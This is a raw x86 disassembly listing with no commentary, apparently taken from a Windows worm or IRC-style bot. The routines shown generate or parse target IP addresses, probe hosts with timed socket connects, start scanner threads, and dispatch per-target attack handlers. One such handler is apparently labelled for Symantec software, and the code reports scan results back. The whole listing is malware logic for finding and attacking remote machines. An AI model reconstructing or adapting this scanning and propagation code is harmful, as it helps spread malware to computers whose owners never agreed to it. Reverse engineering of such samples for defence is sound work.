arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4C9544
		call	sub_417249
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CC54C
		push	offset unk_433C7C
		push	eax
		call	sub_417D96
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413B5E
		add	esp, 2Ch
		leave
		retn
sub_40A890	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8E4	proc near		; CODE XREF: sub_401AC7+2641p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_418030
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_433CC8
		push	eax
		call	sub_417D96
		cmp	dword_433878, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40A950
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40A919:				; CODE XREF: sub_40A8E4+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_433CB8
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4186E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40A919
		pop	esi


loc_40A950:				; CODE XREF: sub_40A8E4+2Dj
		push	dword_4C9544
		call	sub_417249
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4186E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_413B5E
		add	esp, 34h
		pop	edi
		leave
		retn
sub_40A8E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9AA	proc near		; DATA XREF: sub_401AC7+2B62o

var_3F0		= byte ptr -3F0h
var_1F0		= dword	ptr -1F0h
var_1EC		= byte ptr -1ECh
var_1DC		= byte ptr -1DCh
var_15C		= byte ptr -15Ch
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_134		= byte ptr -134h
var_124		= byte ptr -124h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp+var_134]
		push	eax
		call	dword_4C9838	; inet_addr
		xor	edi, edi
		mov	[ebp+var_8], eax
		cmp	dword_433878, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jz	loc_40AB08
		mov	ebx, offset dword_433878
		mov	eax, ebx


loc_40A9FB:				; CODE XREF: sub_40A9AA+158j
		push	[ebp+var_1C]
		push	dword ptr [eax]
		push	[ebp+var_8]
		call	sub_40B18C
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40AAF8
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_433D18
		push	eax
		call	sub_417D96
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_408C5D
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_413B5E
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_15C]
		push	esi
		push	eax
		call	sub_417D96
		add	esp, 3Ch
		cmp	[ebp+var_A4], 0
		lea	eax, [ebp+var_A4]
		jnz	short loc_40AA93
		lea	eax, [ebp+var_124]


loc_40AA93:				; CODE XREF: sub_40A9AA+E1j
		push	eax
		lea	eax, [ebp+var_1DC]
		push	eax
		call	sub_417D96
		mov	eax, [ebp+var_24]
		pop	ecx
		mov	[ebp+var_1F0], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_140], eax
		mov	eax, [ebp+var_10]
		pop	ecx
		mov	[ebp+var_13C], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp+var_150], eax
		mov	eax, [ebp+var_18]
		push	2Fh
		mov	[ebp+var_14C], eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		lea	esi, [ebp+var_1F0]
		mov	edi, esp
		mov	[ebp+var_148], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	[ebp+var_4]
		xor	edi, edi


loc_40AAF8:				; CODE XREF: sub_40A9AA+64j
		inc	[ebp+arg_0]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40A9FB


loc_40AB08:				; CODE XREF: sub_40A9AA+44j
		push	[ebp+var_4]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_433CE4
		push	eax
		call	sub_417D96
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_408C5D
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_413B5E
		push	[ebp+var_18]
		call	sub_40A51F
		add	esp, 2Ch
		push	edi
		call	dword_4230CC	; ExitThread
sub_40A9AA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB5B	proc near		; CODE XREF: sub_401AC7+1F9Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40A44B
		test	eax, eax
		pop	ecx
		jle	short loc_40AB97
		mov	eax, [ebp+arg_C]
		push	dword_4C9948[eax*8]
		call	dword_4C9884	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_433D68
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	short loc_40ABAA
; ---------------------------------------------------------------------------


loc_40AB97:				; CODE XREF: sub_40AB5B+13j
		lea	eax, [ebp+var_200]
		push	offset unk_433D48
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx


loc_40ABAA:				; CODE XREF: sub_40AB5B+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413B5E
		add	esp, 18h
		leave
		retn
sub_40AB5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ABD2	proc near		; CODE XREF: sub_40B43D+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40B0A4
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_433884[eax], ebx
		jz	loc_40B0A4
		push	5
		call	sub_40A44B
		test	eax, eax
		pop	ecx
		jnz	loc_40AE59
		mov	eax, dword_425078
		push	edi
		mov	esi, offset dword_4CBA04
		push	104h
		push	esi
		push	ebx
		mov	dword_4CBC14, eax
		mov	dword_4CBC10, ebx
		call	dword_423070	; GetModuleFileNameA
		mov	edi, offset byte_4250EC
		push	103h
		push	edi
		push	offset dword_4CBB08
		call	sub_417B00
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CBA00, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CBC98, eax
		jnz	short loc_40AC85
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CBC18
		call	sub_417B00
		add	esp, 0Ch
		mov	dword_4CBC9C, 1
		jmp	short loc_40AC9F
; ---------------------------------------------------------------------------


loc_40AC85:				; CODE XREF: sub_40ABD2+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CBC18
		call	sub_417B00
		add	esp, 0Ch
		mov	dword_4CBC9C, ebx


loc_40AC9F:				; CODE XREF: sub_40ABD2+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CBC14
		push	offset unk_42E61C
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40A203
		add	esp, 1Ch
		mov	dword_4CBC0C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CBA00
		push	offset sub_41088E
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, dword_4CBC0C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40AD0D


loc_40ACFB:				; CODE XREF: sub_40ABD2+139j
		cmp	dword_4CBCA0, ebx
		jnz	short loc_40AD28
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40ACFB
; ---------------------------------------------------------------------------


loc_40AD0D:				; CODE XREF: sub_40ABD2+127j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_433E88
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_40AD28:				; CODE XREF: sub_40ABD2+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_413B5E
		mov	eax, dword_4C9540
		mov	esi, offset dword_4CBCAC
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CBEBC, eax
		mov	dword_4CBEB8, ebx
		call	dword_423070	; GetModuleFileNameA
		push	103h
		push	edi
		push	offset dword_4CBDB0
		call	sub_417B00
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CBCA8, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CBF40, eax
		push	7Fh
		jnz	short loc_40ADA9
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CBEC0
		call	sub_417B00
		add	esp, 0Ch
		mov	dword_4CBF44, 1
		jmp	short loc_40ADC3
; ---------------------------------------------------------------------------


loc_40ADA9:				; CODE XREF: sub_40ABD2+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CBEC0
		call	sub_417B00
		add	esp, 0Ch
		mov	dword_4CBF44, ebx


loc_40ADC3:				; CODE XREF: sub_40ABD2+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CBEBC
		push	offset unk_433E54
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40A203
		add	esp, 1Ch
		mov	dword_4CBEB4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CBCA8
		push	offset sub_40DA9B
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, dword_4CBEB4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40AE31


loc_40AE1F:				; CODE XREF: sub_40ABD2+25Dj
		cmp	dword_4CBF48, ebx
		jnz	short loc_40AE4C
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40AE1F
; ---------------------------------------------------------------------------


loc_40AE31:				; CODE XREF: sub_40ABD2+24Bj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_433E20
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_40AE4C:				; CODE XREF: sub_40ABD2+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_413B5E
		pop	ecx


loc_40AE59:				; CODE XREF: sub_40ABD2+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43388C[ecx], ebx
		jz	loc_40AF82
		push	7
		call	sub_40A44B
		test	eax, eax
		pop	ecx
		jnz	loc_40AF7C
		mov	eax, dword_4CC544
		cmp	[ebp+arg_90], bl
		mov	dword_4CB96C, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CB960, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CB968, ebx
		mov	dword_4CB9F0, eax
		push	7Fh
		jnz	short loc_40AECD
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CB970
		call	sub_417B00
		add	esp, 0Ch
		mov	dword_4CB9F4, 1
		jmp	short loc_40AEE7
; ---------------------------------------------------------------------------


loc_40AECD:				; CODE XREF: sub_40ABD2+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CB970
		call	sub_417B00
		add	esp, 0Ch
		mov	dword_4CB9F4, ebx


loc_40AEE7:				; CODE XREF: sub_40ABD2+2F9j
		push	dword_4CB96C
		lea	eax, [ebp+var_204]
		push	offset unk_433DF0
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40A203
		add	esp, 18h
		mov	dword_4CB964, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CB960
		push	offset sub_40D7F9
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, dword_4CB964
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40AF54


loc_40AF42:				; CODE XREF: sub_40ABD2+380j
		cmp	dword_4CB9F8, ebx
		jnz	short loc_40AF6F
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40AF42
; ---------------------------------------------------------------------------


loc_40AF54:				; CODE XREF: sub_40ABD2+36Ej
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_433DB8
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_40AF6F:				; CODE XREF: sub_40ABD2+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_413B5E
		pop	ecx


loc_40AF7C:				; CODE XREF: sub_40ABD2+2A8j
		mov	eax, [ebp+arg_130]


loc_40AF82:				; CODE XREF: sub_40ABD2+298j
		shl	eax, 6
		cmp	dword_433888[eax], ebx
		jz	loc_40B0A4
		push	3
		call	sub_40A44B
		test	eax, eax
		pop	ecx
		jnz	loc_40B0A4
		mov	esi, offset dword_4CC1DC
		push	104h
		push	esi
		push	ebx
		call	dword_423070	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_418340
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40AFC3
		mov	[eax], bl


loc_40AFC3:				; CODE XREF: sub_40ABD2+3EDj
		mov	eax, dword_42507C
		mov	dword_4CC2F4, ebx
		mov	dword_4CC2E0, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CBF54
		call	sub_417D96
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CBF50, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CC2E0
		mov	dword_4CC2EC, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CC2F0, ecx
		call	sub_409D1D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42E5A4
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40A203
		add	esp, 20h
		mov	dword_4CC2E8, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CBF50
		push	offset sub_40E1DC
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, dword_4CC2E8
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_40B07C


loc_40B06A:				; CODE XREF: sub_40ABD2+4A8j
		cmp	dword_4CC2FC, ebx
		jnz	short loc_40B097
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40B06A
; ---------------------------------------------------------------------------


loc_40B07C:				; CODE XREF: sub_40ABD2+496j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_433D84
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_40B097:				; CODE XREF: sub_40ABD2+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_413B5E
		pop	ecx


loc_40B0A4:				; CODE XREF: sub_40ABD2+14j
					; sub_40ABD2+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40ABD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0A8	proc near		; CODE XREF: sub_40B229:loc_40B29Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4C9948h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_418810
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4C9734	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4C97F8	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_418810
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40B0A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0F0	proc near		; CODE XREF: sub_40B229+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_4176F0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40B118
		xor	eax, eax
		jmp	short loc_40B189
; ---------------------------------------------------------------------------


loc_40B118:				; CODE XREF: sub_40B0F0+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_418B45
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40B145
		call	sub_417DF2
		mov	[ebp+var_C], eax


loc_40B145:				; CODE XREF: sub_40B0F0+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40B152
		call	sub_417DF2
		mov	[ebp+var_8], eax


loc_40B152:				; CODE XREF: sub_40B0F0+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40B15F
		call	sub_417DF2
		mov	[ebp+var_4], eax


loc_40B15F:				; CODE XREF: sub_40B0F0+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40B16B
		call	sub_417DF2


loc_40B16B:				; CODE XREF: sub_40B0F0+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4C9948[ecx*8], eax


loc_40B189:				; CODE XREF: sub_40B0F0+26j
		pop	esi
		leave
		retn
sub_40B0F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B18C	proc near		; CODE XREF: sub_40A9AA+59p
					; sub_40B229+B8p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4C9878	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40B1B5
		xor	eax, eax
		jmp	short loc_40B224
; ---------------------------------------------------------------------------


loc_40B1B5:				; CODE XREF: sub_40B18C+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4C97FC	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4C9894	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4C97A8	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4C97E4	; select
		push	esi
		mov	edi, eax
		call	dword_4C9890	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40B224:				; CODE XREF: sub_40B18C+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B18C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B229	proc near		; DATA XREF: sub_40B43D+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40B270:				; CODE XREF: sub_40B229+200j
		mov	eax, dword_43C744[ebx]
		cmp	dword_4C994C[eax*8], 0
		jz	loc_40B42E
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40B29A
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40B0F0
		pop	ecx
		jmp	short loc_40B29F
; ---------------------------------------------------------------------------


loc_40B29A:				; CODE XREF: sub_40B229+60j
		call	sub_40B0A8


loc_40B29F:				; CODE XREF: sub_40B229+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43C744[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4C9884	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_433EE4
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43C540[ebx]
		push	eax
		call	sub_417D96
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40B18C
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_40B41E
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40B373
		push	offset dword_4CB948
		call	dword_4230D4	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_4C9884	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_433EBC
		push	eax
		call	sub_417D96
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40B355
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40B349
		lea	eax, [ebp+var_140]


loc_40B349:				; CODE XREF: sub_40B229+118j
		push	eax
		push	[ebp+var_40]
		call	sub_408C5D
		add	esp, 14h


loc_40B355:				; CODE XREF: sub_40B229+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_413B5E
		mov	[esp+2A8h+var_2A8], offset dword_4CB948
		call	dword_4230D0	; RtlLeaveCriticalSection
		jmp	loc_40B41E
; ---------------------------------------------------------------------------


loc_40B373:				; CODE XREF: sub_40B229+CDj
		push	edi
		call	dword_4C9884	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_417D96
		mov	eax, [ebp+var_20]
		shl	eax, 6
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_417D96
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40B3B7
		lea	eax, [ebp+var_140]


loc_40B3B7:				; CODE XREF: sub_40B229+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_417D96
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43387C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40B41E:				; CODE XREF: sub_40B229+C3j
					; sub_40B229+145j
		push	7D0h
		call	dword_423078	; Sleep
		jmp	loc_40B270
; ---------------------------------------------------------------------------


loc_40B42E:				; CODE XREF: sub_40B229+55j
		push	esi
		call	sub_40A51F
		pop	ecx
		push	0
		call	dword_4230CC	; ExitThread
sub_40B229	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B43D	proc near		; DATA XREF: sub_401AC7+1AD7o
					; sub_401AC7+537Do

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4C9838	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4C9948[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40ABD2
		push	0Bh
		call	sub_40A44B
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40B50B
		mov	esi, offset dword_4CB948
		push	esi
		call	dword_4230DC	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_4230D8	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40B50B
		lea	eax, [ebp+var_1CC]
		push	offset unk_433FC8
		push	eax
		call	sub_417D96
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40B4F5
		push	ebx
